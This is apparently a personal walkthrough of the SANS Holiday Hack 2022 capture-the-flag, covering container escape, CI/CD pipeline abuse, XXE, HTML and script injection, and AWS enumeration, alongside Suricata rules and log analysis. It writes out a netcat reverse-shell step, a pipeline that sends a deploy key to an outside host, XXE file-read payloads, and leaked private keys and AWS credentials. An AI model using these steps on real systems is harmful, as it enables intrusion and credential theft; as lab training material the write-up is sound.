SANS Holiday Hack 2022 Write-Up

Recover the Elfen Ring

Clone with a Difference

The objective of this challenge is to resolve an issue with cloning a public git repository.

cat the readme and submit the last word to the runtoanswer script.

Answer: maintainers

The repository can be cloned via HTTPS by using a similar command, just with a slightly different URL:

git clone https://haugfactory.com/asnowball/aws_scripts.git

Prison Escape

The objective of this challenge is to escape the container shell environment and find the hex string in /home/jailer/.ssh/jail.key.priv.

First, we can elevate our privileges from the samways account by simply using sudo:

grinchum-land:~$ sudo -l
User samways may run the following commands on grinchum-land:
    (ALL) NOPASSWD: ALL
grinchum-land:~$ id
uid=1000(samways) gid=1000(users) groups=1000(users)
grinchum-land:~$ sudo -i
grinchum-land:~# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

fdisk -l tells us that we may have access to the host partition table:

grinchum-land:~# fdisk -l
Disk /dev/vda: 2048 MB, 2147483648 bytes, 4194304 sectors
2048 cylinders, 64 heads, 32 sectors/track
Units: sectors of 1 * 512 = 512 bytes

Disk /dev/vda doesn't contain a valid partition table

With that information, we can mount that virtual disk and access the files we need to solve the challenge:

grinchum-land:~# mkdir mnt/
grinchum-land:~# mount /dev/vda mnt/
grinchum-land:~# cat mnt/home/jailer/.ssh/jail.key.priv

The answer is 082bb339ec19de4935867

Jolly CI/CD

The objective of this challenge is to exploit a CI/CD pipeline and get the Elfen Ring back.

We are dropped into a shell environment similar to the last challenge. First, we notice that we can escalate to root using sudo:

grinchum-land:~$ sudo -l
User samways may run the following commands on grinchum-land:
	(ALL) NOPASSWD: ALL
grinchum-land:~$ sudo -i
grinchum-land:~# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

From the hint information, it seems like some extraneous information was committed up to that wordpress.flag.net.internal.git repository. Let’s try to clone that using our now-elevated privileges:

grinchum-land:~# git clone http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git
Cloning into 'wordpress.flag.net.internal'...
remote: Enumerating objects: 10195, done.
remote: Total 10195 (delta 0), reused 0 (delta 0), pack-reused 10195
Receiving objects: 100% (10195/10195), 36.49 MiB | 22.52 MiB/s, done.
Resolving deltas: 100% (1799/1799), done.
Updating files: 100% (9320/9320), done.

grinchum-land:~# ls -tdlr wordpress.flag.net.internal/
drwxr-xr-x 6 root root 4096 Dec  8 13:15 wordpress.flag.net.internal/

And we now have access to those repository files. It is worth noting that a .gitlab-ci.yml is present in the repository - which controls GitLab CI pipelines.

But before we do that, we should explore the hint-provided information about accidentally committing something. We can use git log to inspect commit history:

commit e19f653bde9ea3de6af21a587e41e7a909db1ca5
Author: knee-oh <sporx@kringlecon.com>
Date:   Tue Oct 25 13:42:54 2022 -0700

	whoops

One commit jumps out at us, with the commit message as “whoops”. We can look at the actual changes to the repo by using git show <commit hash>:

commit e19f653bde9ea3de6af21a587e41e7a909db1ca5
Author: knee-oh <sporx@kringlecon.com>
Date:   Tue Oct 25 13:42:54 2022 -0700

	whoops

diff --git a/.ssh/.deploy b/.ssh/.deploy
deleted file mode 100644
index 3f7a9e3..0000000
--- a/.ssh/.deploy
+++ /dev/null
@@ -1,7 +0,0 @@
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4gAAAJiQFTn3kBU5
9wAAAAtzc2gtZWQyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4g
AAAEBL0qH+iiHi9Khw6QtD6+DHwFwYc50cwR0HjNsfOVXOcv7AsdI7HOvk4piOcwLZfDot
PqBj2tDq9NBdTUkbZBriAAAAFHNwb3J4QGtyaW5nbGVjb24uY29tAQ==
-----END OPENSSH PRIVATE KEY-----
diff --git a/.ssh/.deploy.pub b/.ssh/.deploy.pub
deleted file mode 100644
index 8c0b43c..0000000
--- a/.ssh/.deploy.pub
+++ /dev/null
@@ -1 +0,0 @@
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7AsdI7HOvk4piOcwLZfDotPqBj2tDq9NBdTUkbZBri sporx@kringlecon.com

It appears that an SSH key pair was committed by accident. We can save this information (while remembering to remove the prefixed dash char on each line), and maybe it will help us commit to the repository we need to exploit.

Now we can take a look at the pipeline code in .gitlab-ci.yml:

stages:
  - deploy

deploy-job: 	 
  stage: deploy
  environment: production
  script:
	- rsync -e "ssh -i /etc/gitlab-runner/hhc22-wordpress-deploy" --chown=www-data:www-data -atv --delete --progress ./ root@wordpress.flag.net.internal:/var/www/html

This code copies the current working directory (AKA all code in the repository) to the server wordpress.flag.net.internal at directory /var/www/html.

Perhaps we can add some more code to activate a remote shell to our environment, so we can explore the wordpress server and look for the Elfen Ring.

We can add this another script step to the .gitlab-ci.yml:

ssh -i /etc/gitlab-runner/hhc22-wordpress-deploy root@wordpress.flag.net.internal nc 172.18.0.99 1337 -e /bin/bash

And let’s try to commit it up to trigger the pipeline:

grinchum-land:~/wordpress.flag.net.internal# git add .gitlab-ci.yml
grinchum-land:~/wordpress.flag.net.internal# git commit -m "nothing to see here"
[main 1b6ca61] nothing to see here
 Committer: root <root@grinchum-land.flag.net.internal>
Your name and email address were configured automatically based
on your username and hostname. Please check that they are accurate.
You can suppress this message by setting them explicitly. Run the
following command and follow the instructions in your editor to edit
your configuration file:

	git config --global --edit

After doing this, you may fix the identity used for this commit with:

	git commit --amend --reset-author

 1 file changed, 1 insertion(+)
grinchum-land:~/wordpress.flag.net.internal# git push
Username for 'http://gitlab.flag.net.internal': ^C

We are prompted for a username to GitLab, so we need that key pair we stole earlier.

grinchum-land:~/wordpress.flag.net.internal# eval $(ssh-agent -s)
Agent pid 371
grinchum-land:~/wordpress.flag.net.internal# chmod 600 /root/.ssh/deploy
grinchum-land:~/wordpress.flag.net.internal# ssh-add ~/.ssh/deploy
Identity added: /root/.ssh/deploy (sporx@kringlecon.com)

Then we can set the git remote origin to SSH instead of the challenge-provided HTTP URL:

grinchum-land:~/wordpress.flag.net.internal# git remote set-url origin ssh://git@gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git

And we are able to push:

grinchum-land:~/wordpress.flag.net.internal# git push
The authenticity of host 'gitlab.flag.net.internal (172.18.0.150)' can't be established.
ED25519 key fingerprint is SHA256:jW9axa8onAWH+31D5iHA2BYliy2AfsFNaqomfCzb2vg.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'gitlab.flag.net.internal' (ED25519) to the list of known hosts.
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 2 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 373 bytes | 373.00 KiB/s, done.
Total 3 (delta 2), reused 0 (delta 0), pack-reused 0
To ssh://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git
   37b5d57..1b6ca61  main -> main

On my system, I then can open up my listener:

grinchum-land:~/wordpress.flag.net.internal# nc -nlvvp 1337

No response though. Maybe we can alter our payload to something simpler.

Maybe there’s a way to steal that private deploy key? Then I could just SSH into the server directly. The key is on the gitlab runner though. I should be able to pass my ssh key pair (my machine) to the pipeline as variables, and alter my pipeline script to use the vars. Command could be:

scp -i </path/to/my/key/pair> /etc/gitlab-runner/hhc22-wordpress-deploy myaccount@172.18.0.99:/tmp/ -P 2222

To try that method, I will first need to create a key pair for our original non-root account - samways.

grinchum-land:~$ ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/home/samways/.ssh/id_rsa): 
Created directory '/home/samways/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/samways/.ssh/id_rsa
Your public key has been saved in /home/samways/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:/TsnF1unhrm2jL5JF16Pszts8Nj/9Din0RQjDyuCSbw samways@grinchum-land.flag.net.internal
The key's randomart image is:
+---[RSA 3072]----+
|                 |
|      .          |
|       o     o o |
|      . +.    = o|
|       ES........|
|          .ooo.=o|
|          . +O+==|
|         . =B.&*o|
|         .=o=X=B=|
+----[SHA256]-----+

Change our password to allow for ssh-copy-id to work:

grinchum-land:~$ sudo -i
grinchum-land:~# passwd samways
New password: 
Retype new password: 
passwd: password updated successfully
grinchum-land:~# exit

grinchum-land:~$ ssh-copy-id -p 2222 172.18.0.99
/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/home/samways/.ssh/id_rsa.pub"
The authenticity of host '[172.18.0.99]:2222 ([172.18.0.99]:2222)' can't be established.
ED25519 key fingerprint is SHA256:6gkNVtY+64ajFXw/WXYGS+h9YhOEvKxvUkdwZoOPNMI.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
samways@172.18.0.99's password: 

Number of key(s) added: 1

Now try logging into the machine, with:   "ssh -p '2222' '172.18.0.99'"
and check to make sure that only the key(s) you wanted were added.

Now SSH login to our machine should work.

My final pipeline payload was this:

stages:
  - deploy

deploy-job:      
  stage: deploy 
  environment: production
  variables:
    private_key: LS0tLS1CRUdJTiBPUE<snip>
  script:
    - mkdir -p ~/.ssh
    - echo "$private_key" | base64 -d > ~/.ssh/my_key
    - chmod 0600 ~/.ssh/my_key
    - scp -i ~/.ssh/my_key -P 2222 /etc/gitlab-runner/hhc22-wordpress-deploy samways@172.18.0.99:/home/samways/

After a few seconds, I could see the deploy key in /home/samways like expected:

grinchum-land:~/wordpress.flag.net.internal# cat /home/samways/hhc22-wordpress-deploy 
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACD8EYdZTOpf5REuWXMb9FKCFWoiIX2HoU1aH90V0Ptq3wAAAJiMXr0BjF69
AQAAAAtzc2gtZWQyNTUxOQAAACD8EYdZTOpf5REuWXMb9FKCFWoiIX2HoU1aH90V0Ptq3w
AAAEBtNE6sqOFoqkmOhcB/9DgzaQhQRC/bwkAbsBXwqrt/mPwRh1lM6l/lES5Zcxv0UoIV
aiIhfYehTVof3RXQ+2rfAAAAFHNwb3J4QGtyaW5nbGVjb24uY29tAQ==
-----END OPENSSH PRIVATE KEY-----

This key allows us to remotely connect whenever:

grinchum-land:~/wordpress.flag.net.internal# ssh -q -i /home/samways/hhc22-wordpress-deploy root@wordpress.flag.net.internal
Linux wordpress.flag.net.internal 5.10.51 #1 SMP Mon Jul 19 19:08:01 UTC 2021 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Dec  8 21:17:41 2022 from 172.18.0.99
root@wordpress:~# whoami
root
root@wordpress:~# hostname
wordpress.flag.net.internal
root@wordpress:~# 

And the flag is at /flag.txt:

root@wordpress:/# cat flag.txt 
<snip>
oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT
<snip>

Recover the Tolkien Ring

Wireshark Practice

Answers: Israel, South Sudan, infected=yes

Several straight-forward wireshark questions, involving exporting files from an HTTP session, and tracing all TLS streams in which certificates were presented in order to determine validity (valid for dates).

Two certificates issued from South Sudan and Israel were not within their valid for time range.

Windows Event Logs

  1. 12/24/22

  2. $foo = Get-Content .\Recipe| % {$_ -replace 'honey', 'fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'

By using Event Viewer filtering, we can filter by 4104 (remote command execution events) and search for the variable symbol $ until we find the nefarious command.

  1. $foo | Add-Content -Path 'Recipe.txt'

By continuing to search for the variable $foo, we can see the command line in which the attacker creates a new file Recipe.txt

  1. Recipe

We can see from the original command in #2 that the original filename was simply Recipe

  1. Recipe.txt

Again determinable from the previous commands.

  1. yes
  2. no
  3. 4104 is the proper event code for displaying any command execution, including file removal.
  4. The secret ingredient is compromised - it is honey (as displayed in the original file).

Suricata Regatta

The first task is to write a Suricata rule that catches DNS lookups for adv.epostoday.uk.

Add the rules to suricata.rules and run ./rule_checker to test the efficacy.

This solves the first challenge:

alert dns any any -> any any (msg:"Known bad DNS lookup, possible Dridex infection"; dns.query; content:"adv.epostoday.uk"; nocase;)

The second task is to develop a Suricata rule that alerts whenever the infected IP (192.185.57.242 - which is what adv.epostoday.uk points to) communicates with internal systems.

This solves the second challenge:

alert http 192.185.57.242 any <> $HOME_NET any (msg:"Investigate suspicious connections, possible Dridex infection"; sid:1236;)

The third task is to develop a Suricata rule that alerts on an SSL certificate with the CN heardbellith.Icanwepeh.nagoya.

This solves the third challenge:

alert tls any any <> any any (msg:"Investigate bad certificates, possible Dridex infection"; tls.cert_subject; content:"CN=heardbellith.Icanwepeh.nagoya";sid:1238;)

The fourth and final task is to develop a Suricata rule that alerts on one string: let byteCharacters = atob. The string might be gzip compressed.

This solves the fourth challenge:

alert http any any -> any any (msg:”Investigate <….snip…>, possible Dridex infection”; file_data; content:"let 
byteCharacters = atob"; sid:1239;)

Recover the Web Ring

Naughty IP

“Use the artifacts from Alabaster Snowball to analyze this attack on the Boria mines. Most of the traffic to this site is nice, but one IP address is being naughty! Which is it? Visit Sparkle Redberry in the Web Ring for hints.”

If we open the PCAP in Wireshark and go to Statistics -> Conversations -> IPv4 and sort by total number of Packets, we can see that the top IP communicating with 10.12.42.16 is 18.222.86.32 with 16,603 packets.

Credential Mining

“The first attack is a brute force login. What’s the first username tried?”

If we search for the string POST /login.html, we can discover that the first POST to the login form has the payload username = alice and password = phillip. We sort by POST because brute forcing a login implies that the attacker is submitting information to the web server, and POST is the appropriate verb.

404 FTW

“The next attack is forced browsing where the naughty one is guessing URLs. What’s the first successful URL path in this attack?” https://owasp.org/www-community/attacks/Forced_browsing

With the wireshark filter http.response.code == 404 or http.response.code == 200, we can see all HTTP 404 or 200 responses, and we are able to see the occasional 200 in the sea of 400s.

Upon inspection of that first HTTP 200 packet, we can see that the URL is http://www.toteslegit.us/proc

IMDS, XXE, and Other Abbreviations

“The last step in this attack was to use XXE to get secret keys from the IMDS service. What URL did the attacker force the server to fetch?” https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing

The AWS IMDS address is 169.254.169.254.

Using a wireshark filter like ip.addr == 169.254.169.254 returns more like 50 packets, and not two.

If we manually inspect all traffic, it looks like the attacker is poking around until it gets to one specific URL that actually returns JSON-encoded credentials:

http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Open Boria Mine Door

“Open the door to the Boria Mines. Help Alabaster Snowball in the Web Ring to get some hints for this challenge.”

The hints recommend taking a deep dive into the lock/pin javascript, and I can see the path forward being: submit HTML or Javascript through the input field to solve each lock.

The first lock can be solved by using the HTML-provided comment as input:

<form method="post" action="pin1">
    <! -- @&@&&W&&W&&&& -->
    <input class="inputTxt" name="inputTxt" type="text" value autocomplete="off">
    <button>GO</button>
</form>

Since it looks like the second lock is vulnerable to HTML input submission:

<form method="post" action="pin2">
    <! -- TODO: FILTER OUT HTML FROM USER INPUT -->
    <input class="inputTxt" name="inputTxt" type="text" value autocomplete="off">
    <button>GO</button>
</form>

We can submit the following payload to make the entire iframe background white, thus allowing the colors to pass easily.

<body style="background-color:white;">

Since it looks like the third lock is vulnerable to Javascript input submission:

<form method="post" action="pin3">
    <! -- TODO: FILTER OUT JAVASCRIPT FROM USER INPUT -->
    <input class="inputTxt" name="inputTxt" type="text" value autocomplete="off">
    <button>GO</button>
</form>

We can submit the following payload to make the entire iframe background blue, thus allowing the colors to pass easily.

<script>document.body.style.backgroundColor = "#0000FF";</script>

This SVG also works as a payload:

<svg version="1.1" width="100%" height="100%">
  <rect fill="#0000FF" width="100%" x="0%" y="5%" height="80%"/>
</svg>

And solving three locks allows us through the door.

The fourth lock involves client-side input validation:

    const sanitizeInput = () => {
        const input = document.querySelector('.inputTxt');
        const content = input.value;
        input.value = content
            .replace(/"/, '')
            .replace(/'/, '')
            .replace(/</, '')
            .replace(/>/, '');
    }

The input validation strips the characters , , <, and >.

In our payload, removing the <, >, and “ characters are problematic.

However, due to the weakness of the filtering, we can simply double-up on invalid characters to bypass this filter.

<<svg version="1.1" width="100%" height="100%">>
  <<rect fill="#0000FF" width="100%" x="0%" y="55%" height="40%"/>>
  <<rect fill="#FFFFFF" width="100%" x="0%" y="5%" height="40%"/>>
<</svg>>

The sixth lock can be similarly bypassed:

<svg version="1.1" width="100%" height="200">>
  <<rect fill="#FF0000" width="100%" x="0%" y="30%" height="27%"/>> 
  <<rect fill="#00FF00" width="100%" x="0%" y="5%" height="20%"/>>
  <<rect fill="#0000FF" width="100%" x="0%" y="75%" height="80%"/>>
  <<rect fill="#0000FF" width="100%" x="0%" y="118" height="80%"/>>
<</svg>>

Glamtariel’s Fountain

“Stare into Glamtariel’s fountain and see if you can find the ring! What is the filename of the ring she presents you? Talk to Hal Tandybuck in the Web Ring for hints.”

The challenge hints suggest trying to communicate with the server in XML, and potentially open up an XXE atttack. I fired up Burp to try and interrogate the server using reqType=xml:

{
  "appResp": "We don't speak that way very often any more. Once in a while perhaps, but only at certain times.^I don't hear her use that very often. I think only for certain TYPEs of thoughts.",
  "droppedOn": "none",
  "visit": "none"
}

So it looks like certain information can only be returned in XML. Will keep that in mind.

This may be helpful when trying to find a PATH:

{
  "appResp": "Careful with the fountain! I know what you were wondering about there. It's no cause for concern. The PATH here is closed!^Between Glamtariel and Kringle, many who have tried to find the PATH here uninvited have ended up very disAPPointed. Please click away that ominous eye!",
  "droppedOn": "fountain",
  "visit": "static/images/stage2ring-eyecu_2022.png,260px,90px"
}

So far it only looks like the server can only communicate in JSON and XML. JSON is the standard, but XML I can’t get a response from - even though the server states that it will respond in XML on “occasion”.

The attack pattern looks like XXE ultimately - so I’ll have to figure out a situation in which the server accepts XML.

After experimenting for a while, this payload was able to obtain the ringlist:

<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///app/static/images/ringlist.txt" >]>

<root>
<imgDrop>&xxe;</imgDrop>
<who>princess</who>
<reqType>xml</who>
</root>

Response:

{
  "appResp": "Ah, you found my ring list! Gold, red, blue - so many colors! Glad I don't keep any secrets in it any more! Please though, don't tell anyone about this.^She really does try to keep things safe. Best just to put it away. (click)",
  "droppedOn": "none",
  "visit": "static/images/pholder-morethantopsupersecret63842.png,262px,100px"
}

Which gives me the path to a downloadable PNG, which shows me the path for future files, like below:

Green:

<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///app/static/images/x_phial_pholder_2022/greenring.txt" >]>
 
<root>
<imgDrop>&xxe;</imgDrop>
<who>princess</who>
<reqType>xml</who>
</root>

Response:

{
  "appResp": "Hey, who is this guy? He doesn't have a ticket!^I don't remember seeing him in the movies!",
  "droppedOn": "none",
  "visit": "static/images/x_phial_pholder_2022/tomb2022-tommyeasteregg3847516894.png,230px,30px"
}

Silver:

<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///app/static/images/x_phial_pholder_2022/silverring.txt" >]>
 
<root>
<imgDrop>&xxe;</imgDrop>
<who>princess</who>
<reqType>xml</who>
</root>

Response:

{
  "appResp": "I'd so love to add that silver ring to my collection, but what's this? Someone has defiled my red ring! Click it out of the way please!.^Can't say that looks good. Someone has been up to no good. Probably that miserable Grinchum!",
  "droppedOn": "none",
  "visit": "static/images/x_phial_pholder_2022/redring-supersupersecret928164.png,267px,127px"
}

Which leads me to:

<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt" >]>
 
<root>
<imgDrop>&xxe;</imgDrop>
<who>princess</who>
<reqType>xml</who>
</root>

Response:

{
  "appResp": "Hmmm, and I thought you wanted me to take a look at that pretty silver ring, but instead, you've made a pretty bold REQuest. That's ok, but even if I knew anything about such things, I'd only use a secret TYPE of tongue to discuss them.^She's definitely hiding something.",
  "droppedOn": "none",
  "visit": "none"
}

Which insinuates that the princess wants to “obtain” the silver ring (img1). We can alter the XXE payload to alter reqType (due to the capitalized word in the last message) and force the princess to grab the silver ring with a static imgDrop.

This was my final payload:

<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt" >]>
 
<root>
<imgDrop>img1</imgDrop>
<who>princess</who>
<reqType>&xxe;</who>
</root>

Response:

{
  "appResp": "No, really I couldn't. Really? I can have the beautiful silver ring? I shouldn't, but if you insist, I accept! In return, behold, one of Kringle's golden rings! Grinchum dropped this one nearby. Makes one wonder how 'precious' it really was to him. Though I haven't touched it myself, I've been keeping it safe until someone trustworthy such as yourself came along. Congratulations!^Wow, I have never seen that before! She must really trust you!",
  "droppedOn": "none",
  "visit": "static/images/x_phial_pholder_2022/goldring-morethansupertopsecret76394734.png,200px,290px"
}

The answer is: goldring-morethansupertopsecret76394734.png

Recover the Cloud Ring

AWS CLI Intro

“Try out some basic AWS command line skills in this terminal. Talk to Jill Underpole in the Cloud Ring for hints.”

elf@9a8b80389488:~$ aws help


elf@9a8b80389488:~$ aws configure
AWS Access Key ID [None]: AKQAAYRKO7A5Q5XUY2IY 
AWS Secret Access Key [None]: qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf
Default region name [None]: us-east-1
Default output format [None]: table


elf@9a8b80389488:~$ aws sts get-caller-identity
{
    "UserId": "AKQAAYRKO7A5Q5XUY2IY",
    "Account": "602143214321",
    "Arn": "arn:aws:iam::602143214321:user/elf_helpdesk"
}

“Use Trufflehog to find secrets in a Git repo. Work with Jill Underpole in the Cloud Ring for hints. What’s the name of the file that has AWS credentials?”

Using a simple trufflehog git https://haugfactory.com/orcadmin/aws_scripts we can determine that the file that has AWS credentials is put_policy.py.

The information in the script is:

iam = boto3.client('iam',
    region_name='us-east-1',
    aws_access_key_id="AKIAAIDAYRANYAHGQOHD",
    aws_secret_access_key="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",
)
# arn:aws:ec2:us-east-1:accountid:instance/*
response = iam.put_user_policy(
    PolicyDocument='{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["ssm:SendCommand"],"Resource":["arn:aws:ec2:us-east-1:748127089694:instance/i-0415bfb7dcfe279c5","arn:aws:ec2:us-east-1:748127089694:document/RestartServices"]}]}',
    PolicyName='AllAccessPolicy',
    UserName='nwt8_test',
)

Exploitation via AWS CLI

“Flex some more advanced AWS CLI skills to escalate privileges! Help Gerty Snowburrow in the Cloud Ring to get hints for this challenge.”

First step is to use the previously-found credentials to log into us-east-1:

elf@daab70bd48d7:~$ aws configure
AWS Access Key ID [None]: AKIAAIDAYRANYAHGQOHD
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]: table
elf@daab70bd48d7:~$ 
elf@daab70bd48d7:~$ aws sts get-caller-identity
{
    "UserId": "AIDAJNIAAQYHIAAHDDRA",
    "Account": "602123424321",
    "Arn": "arn:aws:iam::602123424321:user/haug"
}
elf@daab70bd48d7:~$ 

Next, we need to list the managed policies that are attached to our user. This command accepts only a username as an argument. I was able to find my username by performing an action outside of my permissions:

elf@daab70bd48d7:~$ aws iam get-user
An error occurred (AccessDeniedException) when calling the GetUser operation: User: arn:aws:iam::602123424321:user/haug is not authorized to perform: iam:GetUser on resource: arn:aws:iam:us-east-1:602123424321:* because no identity-based policy allows the iam:GetUser action

Our username is haug.

elf@daab70bd48d7:~$ aws iam list-attached-user-policies --user-name haug
{
    "AttachedPolicies": [
        {
            "PolicyName": "TIER1_READONLY_POLICY",
            "PolicyArn": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY"
        }
    ],
    "IsTruncated": false
}

Next, we need to get that policy that is attached to us.

elf@daab70bd48d7:~$ aws iam get-policy --policy-arn arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY
{
    "Policy": {
        "PolicyName": "TIER1_READONLY_POLICY",
        "PolicyId": "ANPAYYOROBUERT7TGKUHA",
        "Arn": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 11,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "Policy for tier 1 accounts to have limited read only access to certain resources in IAM, S3, and LAMBDA.",
        "CreateDate": "2022-06-21 22:02:30+00:00",
        "UpdateDate": "2022-06-21 22:10:29+00:00",
        "Tags": []
    }
}

Then we must list the default version of the managed policy:

elf@daab70bd48d7:~$ aws iam get-policy-version --policy-arn arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY --version-id v1 | head -n 10
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": [
                        "lambda:ListFunctions",
                        "lambda:GetFunctionUrlConfig"
elf@daab70bd48d7:~$ 

Next, we must list all inline policies associated with our user:

elf@daab70bd48d7:~$ aws iam list-user-policies --user-name haug
{
    "PolicyNames": [
        "S3Perms"
    ],
    "IsTruncated": false
}

Then we must get that inline policy associated with our user.

elf@daab70bd48d7:~$ aws iam get-user-policy --user-name haug --policy-name S3Perms
{
    "UserPolicy": {
        "UserName": "haug",
        "PolicyName": "S3Perms",
        "PolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": [
                        "s3:ListObjects"
                    ],
                    "Resource": [
                        "arn:aws:s3:::smogmachines3",
                        "arn:aws:s3:::smogmachines3/*"
                    ]
                }
            ]
        }
    },
    "IsTruncated": false
}

We can now list the objects in our accessible bucket:

elf@daab70bd48d7:~$ aws s3api list-objects --bucket smogmachines3 | head -n 10
{
    "IsTruncated": false,
    "Marker": "",
    "Contents": [
        {
            "Key": "coal-fired-power-station.jpg",
            "LastModified": "2022-09-23 20:40:44+00:00",
            "ETag": "\"1c70c98bebaf3cff781a8fd3141c2945\"",
            "Size": 59312,
            "StorageClass": "STANDARD",
elf@daab70bd48d7:~$ 

Next, we must list all accessible Lambda functions:

elf@daab70bd48d7:~$ aws lambda list-functions | head -n 5
{
    "Functions": [
        {
            "FunctionName": "smogmachine_lambda",
            "FunctionArn": "arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda",
elf@daab70bd48d7:~$ 

And finally, we can list the public Lambda URL:

elf@daab70bd48d7:~$ aws lambda get-function-url-config --function-name smogmachine_lambda
{
    "FunctionUrl": "https://rxgnav37qmvqxtaksslw5vwwjm0suhwc.lambda-url.us-east-1.on.aws/",
    "FunctionArn": "arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda",
    "AuthType": "AWS_IAM",
    "Cors": {
        "AllowCredentials": false,
        "AllowHeaders": [],
        "AllowMethods": [
            "GET",
            "POST"
        ],
        "AllowOrigins": [
            "*"
        ],
        "ExposeHeaders": [],
        "MaxAge": 0
    },
    "CreationTime": "2022-09-07T19:28:23.808713Z",
    "LastModifiedTime": "2022-09-07T19:28:23.808713Z"
}
elf@daab70bd48d7:~$ 

Recover the Burning Ring of Fire

Buy a Hat

“Travel to the Burning Ring of Fire and purchase a hat from the vending machine with KringleCoin. Find hints for this objective hidden throughout the tunnels.”

Upon selecting a hat I get the following:

To purchase this hat you must:
Use a KTM to pre-approve a 10 KC transaction to the wallet address: 0x5d3DC98f7515B2042cbEDb667388b0B3689A1554
Return to this kiosk and use Hat ID: 27 to complete your purchase.

At the KTM I can select Approve a KringleCoin transfer and put in the To address (supplied from hat vending machine), the amount (10 KC), and my wallet key.

I can approve my purchase back at the vending machine by providing my wallet address and the Hat ID of 27 to obtain my hat.

Blockchain Divination

“Use the Blockchain Explorer in the Burning Ring of Fire to investigate the contracts and transactions on the chain. At what address is the KringleCoin smart contract deployed? Find hints for this objective hidden throughout the tunnels.”

The answer is:

0xc27A2D3DE339Ce353c0eFBa32e948a88F1C86554

I used the Blockchain Explorer, moved to the second page, and saw the KringleCoin contract there.

Exploit a Smart Contract

“Exploit flaws in a smart contract to buy yourself a Bored Sporc NFT. Find hints for this objective hidden throughout the tunnels.”

Information from the BSRS website:

Here’s all you gotta do to pre-purchase your Sporc:

  1. The presale price for a Sporc is 100 KringleCoin (KC).

  2. First, you’re gonna want to make sure that your wallet address is on the approved list. Just make sure to leave the “Validate only” box checked, fill in the form, and we’ll let you know if you’re on the list/Merkle Tree.

  3. To check if you’re on the list, enter your wallet address and the string of proof values that we gave you when we told you that you were on the pre-approved list. Those values should be hex strings (i.e. start with “0x” and consist of a bunch of values that are 0-9 or “a,” “b,” “c,” “d,” “e,” or “f”)

  4. Once you’ve confirmed everything works, just go find a KTM and pre-approve a 100 KC transaction from the wallet you validated. That way, the funds are ready to go. Our Wallet Address is 0xe8fC6f6a76BE243122E3d01A1c544F87f1264d3a.

  5. Once you’ve pre-approved the payment, come back here and do the same thing you did when you validated your address, just uncheck “Validate Only”. Then, we’ll grab your K’Coin, mint a brand spankin’ new Sporc, and fire it into your wallet.

Ultimate objective: buy a Bored Sporc NFT despite the fact that we are not on the presale list. That presale list is also referred to as the Merkle Tree (on the BSRS website). Once we buy the NFT, we get the ring and complete the objective.

